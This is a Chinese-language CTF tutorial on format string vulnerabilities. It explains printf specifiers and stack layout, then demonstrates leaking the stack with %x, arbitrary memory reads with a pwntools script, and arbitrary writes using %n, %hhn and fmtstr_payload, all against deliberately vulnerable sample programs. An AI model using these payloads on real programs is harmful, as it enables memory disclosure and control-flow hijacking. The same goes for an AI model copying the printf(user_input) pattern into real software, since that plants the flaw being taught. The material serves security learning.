格式化字符串漏洞学习

格式化字符串真的不是什么新鲜的事物,但现在在一些基础的CTF的PWN题中还是有出现,故打算总结一篇,也当时系统的学习一遍了。


什么是格式化字符串

学过c语言的都知道printf,fprintf,sprintf,snprintf等这一类类printf函数中经常会用到“%”后面加一个或多个字符做说明符,例如

1
2
3
4
5
#include <stdio.h>
int main(void){
printf("My name is %s","xiaoming");
return 0;
}

调用以后会显示:

1
My name is xiaoming

该printf函数的第一个参数就是格式化字符串,它主要是依靠一个用来告诉程序如何进行格式化输出的说明符。在C程序中我们有许多用来格式化字符串的说明符,在这些说明符后面我们可以填充我们的内容。记住,说明符的前缀总是“%”字符,另外说明符存在许多不同的数据类型,最常见的包括:

1
2
3
4
5
6
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数

在这众多的格式符中出了一个叛徒%n,其他都是用来打印的,而%n可以用来把一个int型的值写到指定的地址中。关于这个格式符的利用在后面再介绍,这里先简单给两个例子。

在gcc环境下,我们编写如下代码:

1
2
3
4
5
6
7
8
9
10
//gcc str.c -m32 -o str
#include <stdio.h>
int main(void)
{
int c = 0;
printf("the use of %n", &c);
printf("%d\n", c);
return 0;
}

输出为

1
the use of 11

在VS上直接用以上代码编译后运行则会出错,原因是微软处于安全考虑默认是禁用了%n,要启用则需要加上:

1
_set_printf_count_output(1);

具体细节可以参考MSDN:https://msdn.microsoft.com/zh-cn/library/ms175782.aspx

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
int main(void)
{
int c = 0;
_set_printf_count_output(1);
printf("the use of %n", &c);
printf("%d", c);
return 0;
}

我们再看一下再栈中的运行细节。

示例程序:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
int main(void)
{
int a = 0x3000;
char b[10] = "hahaha";
int c = 0xFF;
printf("output %d,%s,%d",a,b,c);
return 0;
}

汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
0040150E C74424 2C 00300>mov dword ptr ss:[esp+0x2C],0x3000
00401516 C74424 1E 68616>mov dword ptr ss:[esp+0x1E],0x61686168
0040151E C74424 22 68610>mov dword ptr ss:[esp+0x22],0x6168
00401526 66:C74424 26 00>mov word ptr ss:[esp+0x26],0x0
0040152D C74424 28 FF000>mov dword ptr ss:[esp+0x28],0xFF
00401535 8B4424 28 mov eax,dword ptr ss:[esp+0x28] ; eax = 0xFF
00401539 894424 0C mov dword ptr ss:[esp+0xC],eax ; [0xc] = 0xFF
0040153D 8D4424 1E lea eax,dword ptr ss:[esp+0x1E] ; eax = &str_of_hahaha
00401541 894424 08 mov dword ptr ss:[esp+0x8],eax ; [0x8] = &str_of_hahaha
00401545 8B4424 2C mov eax,dword ptr ss:[esp+0x2C] ; eax = 0x3000
00401549 894424 04 mov dword ptr ss:[esp+0x4],eax ; [0x4] = eax
0040154D C70424 00404000 mov dword ptr ss:[esp],study.00404000 ; output %d,%s,%d
00401554 E8 CF100000 call <jmp.&msvcrt.printf>

栈状态:

1
2
3
4
0060FE80 00404000 |format = "output %d,%s,%d"
0060FE84 00003000 |<%d> = 3000 (12288.)
0060FE88 0060FE9E |<%s> = "hahaha"
0060FE8C 000000FF \<%d> = FF (255.)

上面是内存低址,下面是内存高址,函数的参数的入栈顺序(此处)为从右到左(__cdecl 调用约定)


漏洞原理

产生这个漏洞的原因只有一个,那就是程序员偷懒。

比如我想让用户输入一个名字,然后再把这个名字原样输出,一般人可能会这么写

1
2
3
char str[100];
scanf("%s",str);
printf("%s",str);

这个程序没有问题。
但总会有一些人为了偷懒会写成这种样子

1
2
3
char str[100];
scanf("%s",str);
printf(str);

这个程序在printf处用了一种偷懒的写法。这看起来是没有什么问题,程序也正常的打印了名字,但是却产生了一个非常严重的漏洞。

一般来说,每个函数的参数个数都是固定的,被调用的函数知道应该从内存中读取多少个变量,但printf是可变参数的函数,对可变参数的函数而言,一切就变得模糊了起来。函数的调用者可以自由的指定函数参数的数量和类型,被调用者无法知道在函数调用之前到底有多少参数被压入栈帧当中。所以printf函数要求传入一个format参数用以指定到底有多少,怎么样的参数被传入其中。然后它就会忠实的按照函数的调用者传入的格式一个一个的打印出数据。由于编程者的疏忽,把格式化字符串的操纵权交给用户,就会产生后面任意地址读写的漏洞。

示例程序:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main(void)
{
char a[100];
scanf("%s",a);
printf(a);
return 0;
}

假设我们的输入为:

1
AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

程序的输出为(此次):

1
AAAA61fe4c,61ffcc,76e4d250,70734fbf,fffffffe,76e473da,41414141,252c7825,78252c78,2c78252c,252c7825

注意,这其中有一组为41414141,那就是这个字符串开始的位置。

看一下栈里的样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0061FE30 0061FE4C |format = "AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x"
0061FE34 0061FE4C |<%x> = 0x61FE4C
0061FE38 0061FFCC |<%x> = 0x61FFCC
0061FE3C 76E4D250 |<%x> = 0x76E4D250
0061FE40 FF12BE58 |<%x> = 0xFF12BE58
0061FE44 FFFFFFFE |<%x> = 0xFFFFFFFE
0061FE48 76E473DA |<%x> = 0x76E473DA
0061FE4C 41414141 |<%x> = 0x41414141
0061FE50 252C7825 |<%x> = 0x252C7825
0061FE54 78252C78 |<%x> = 0x78252C78
0061FE58 2C78252C |<%x> = 0x2C78252C
0061FE5C 252C7825 \<%x> = 0x252C7825
0061FE60 78252C78
0061FE64 2C78252C
0061FE68 252C7825
0061FE6C 78252C78
0061FE70 00000000
0061FE74 00000000
0061FE78 00000000

0x0061FE4C 是格式化字符串开始的位置,通过不断的取变量操作,最终我们就能读取到程序的每一个位置。


实现任意地址读

有了上面的原理,我们来到linux环境。

任意地址读我们需要用到printf格式化字符串的另外一个特性,”$“操作符。

这个操作符可以输出指定位置的参数。
wikipedia是这样说的:

1
2
3
4
5
6
7
8
Parameter field
This is a POSIX extension and not in C99. The Parameter field can be omitted or can be:
n$
n is the number of the parameter to display using this format specifier, allowing the parameters provided to be output multiple times, using varying format specifiers or in different orders. If any single placeholder specifies a parameter, all the rest of the placeholders MUST also specify a parameter.
For example, printf("%2$d %2$#x; %1$d %1$#x",16,17) produces 17 0x11; 16 0x10.

示例程序:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main(void)
{
char str[100];
scanf("%s",str);
printf(str);
return 0;
}

首先测出字符串开头的偏移量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
veritas@ubuntu:~/pwn$ ./str
AAAA%1$x
AAAAffa87a68
veritas@ubuntu:~/pwn$ ./str
AAAA%2$x
AAAAc2
veritas@ubuntu:~/pwn$ ./str
AAAA%3$x
AAAAf766376b
veritas@ubuntu:~/pwn$ ./str
AAAA%4$x
AAAAffb6ad4e
veritas@ubuntu:~/pwn$ ./str
AAAA%5$x
AAAAffab456c
veritas@ubuntu:~/pwn$ ./str
AAAA%6$x
AAAA41414141

由此我们测出偏移为6

然后我们用pwntools编写如下脚本

1
2
3
4
5
6
7
8
from pwn import *
context.log_level = 'debug'
cn = process('str')
cn.sendline(p32(0x08048000)+"%6$s")
#cn.sendline("%7$s"+p32(0x08048000))
print cn.recv()

执行脚本以后发现 EOFError

因为我们想要读取的地址是0x08048000,根据little-endian,所以我们发送过去的数据包的第一字节是地址的最后一字节,即0x00,所以发送失败。我们可以对payload做如下调整

1
cn.sendline("%7$s"+p32(0x08048000))

把6改成7是有原因的,调整前:

调整后:

通过改进的payload我们成功获取到了elf文件的前几字节。

如果这个程序中含有其他漏洞能够是我们控制eip来反复调用printf函数,把整个elf或是libc拖下来都是可以做到的。


实现任意地址写

看了任意地址写,肯定感觉不过瘾,毕竟这样我们是能看,不能写入一些非法数据来控制eip。下面就来介绍任意地址写,用到的就是我们上面提到的%n格式符。

1
2
3
4
5
6
7
8
9
10
//gcc str.c -m32 -o str
#include <stdio.h>
int main(void)
{
int c = 0;
printf("the use of %n", &c);
printf("%d\n", c);
return 0;
}

这个程序,我们把n的值改成11。但作为代价,我们输入了长达11的字符串,如果我们想把n改成100,不总是有这么长的空间让我们存100字节的数据。

这时我们需要用到格式符的另一点特性,自定义打印字符串的宽度,程序如下

1
2
3
4
5
6
7
8
9
10
//gcc str.c -m32 -o str
#include <stdio.h>
int main(void)
{
int c = 0;
printf("%.100d%n", c,&c);
printf("\nthe value of c: %d\n", c);
return 0;
}

我们可以看到c被修改成了100

1
2
3
veritas@ubuntu:~/pwn$ ./str
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
the value of c: 100

那如果我们想要把指修改成0x12345678呢?难道我们要让他回显0x12345678字节长的字符串回来?并不是,这里提供一份表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
这部分来自icemakr的博客
32位
'%{}$x'.format(index) // 读4个字节
'%{}$p'.format(index) // 同上面
'${}$s'.format(index)
'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节
////////////////////////////
64位
'%{}$x'.format(index, num) // 读4个字节
'%{}$lx'.format(index, num) // 读8个字节
'%{}$p'.format(index) // 读8个字节
'${}$s'.format(index)
'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD

我们可以通过%{}$hhn来一字节一字节的写入。举个例子,我们希望向0x08048000写入值0x10203040,在pwntools里,我们可以用命令fmtstr_payload。

1
2
>>> fmtstr_payload(6, {0x08048000:0x10203040})
'\x00\x80\x04\x08\x01\x80\x04\x08\x02\x80\x04\x08\x03\x80\x04\x08%48c%6$hhn%240c%7$hhn%240c%8$hhn%240c%9$hhn'

即开头为四个地址的小段表示加一堆格式化字符

1
2
3
4
5
6
7
8
\x00\x80\x04\x08
\x01\x80\x04\x08
\x02\x80\x04\x08
\x03\x80\x04\x08
%48c%6$hhn
%240c%7$hhn
%240c%8$hhn
%240c%9$hhn

即对0x08048000写入16+48 = 64 = 0x40
对0x08048000写入0x40+240 = 304 = (uint8)0x130 = 0x30

但这个payload以0x00开头,应该是传不过去的,还是要人工写。


pwntools相关模块的使用

对于格式化字符串漏洞,pwntools有模块fmtstr

docs地址:http://pwntools.readthedocs.io/en/stable/fmtstr.html

对于这个模块,我只能说建议手写,至少你要懂原理才去用这个模块,不然就是脚本小子。

例如之前测试某个程序格式化字符串的偏移位置时,我们是采用手动测试,直到输出字符串前4字节的16进制值为止。pwntools则有函数FmtStr

首先你要自己写一个函数,能够不断输入格式化字符串来测试。

1
2
3
4
5
6
7
8
9
#pwntools的示例
>>> def exec_fmt(payload):
... p = process(program)
... p.sendline(payload)
... return p.recvall()
...
>>> autofmt = FmtStr(exec_fmt)
>>> offset = autofmt.offset
#此处的offset就是我们需要找的偏移值

生成任意地址写的payload的函数:fmtstr_payload

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
# we want to do 3 writes
writes = {0x08041337: 0xbfffffff,
0x08041337+4: 0x1337babe,
0x08041337+8: 0xdeadbeef}
# the printf() call already writes some bytes
# for example :
# strcat(dest, "blabla :", 256);
# strcat(dest, your_input, 256);
# printf(dest);
# Here, numbwritten parameter must be 8
payload = fmtstr_payload(5, writes, numbwritten=8)

写在最后

这篇文章主要是我做了一些格式化字符串的题目以后有感而发写的,有些地方可能还写的不是很到位,望指正,


以下为参考资料:

http://0x48.pw/2017/03/13/0x2c/
http://blog.csdn.net/prettyday/article/details/50366608
http://www.cnblogs.com/Ox9A82/p/5429099.html
http://www.secbox.cn/hacker/7482.html
http://pwntools.readthedocs.io/en/stable/fmtstr.html